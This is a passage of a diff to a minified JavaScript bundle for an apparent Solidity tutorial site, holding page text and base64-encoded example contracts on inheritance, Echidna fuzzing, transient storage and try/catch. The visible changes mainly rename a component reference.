Fuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],c2=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            By using the keyword super, all of the immediate parent contracts will be called.

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11655,7 +11655,7 @@ B   C
         super.bar();
     }
 }
-
                                            `,t2=({prev:s,next:a})=>r.jsx(u,{version:n2,title:l2,description:p2,html:c2,prev:s,next:a,codes:e2}),o2="0.8.24",r2="Echidna",i2="An example of testing contracts with Echidna",g2=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],h2=`

                                            Examples of fuzzing with Echidna.

                                            +`,t2=({prev:s,next:a})=>r.jsx(A,{version:n2,title:l2,description:p2,html:c2,prev:s,next:a,codes:e2}),o2="0.8.24",r2="Echidna",i2="An example of testing contracts with Echidna",g2=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],h2=`

                                            Examples of fuzzing with Echidna.

                                            1. Save the solidity contract as TestEchidna.sol
                                            2. In the folder where your contract is stored execute the following command.
                                              3. @@ -11787,7 +11787,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return false; } } -`,I2=({prev:s,next:a})=>r.jsx(u,{version:o2,title:r2,description:i2,html:h2,prev:s,next:a,codes:g2}),d2="0.8.24",C2="Transient Storage",j2="transient storage",u2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],A2=`

                                              Data stored in transient storage is cleared out after transaction.

                                              +`,I2=({prev:s,next:a})=>r.jsx(A,{version:o2,title:r2,description:i2,html:h2,prev:s,next:a,codes:g2}),d2="0.8.24",C2="Transient Storage",j2="transient storage",A2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],u2=`

                                              Data stored in transient storage is cleared out after transaction.

                                              pragma solidity ^0.8.24;
 
 // Make sure EVM version and VM set to Cancun
@@ -11880,7 +11880,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         msg.sender.call(b);
     }
 }
-
                                              `,y2=({prev:s,next:a})=>r.jsx(u,{version:d2,title:C2,description:j2,html:A2,prev:s,next:a,codes:u2}),m2="0.8.24",b2="Try Catch",w2="An example of try / catch in Solidity",k2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwM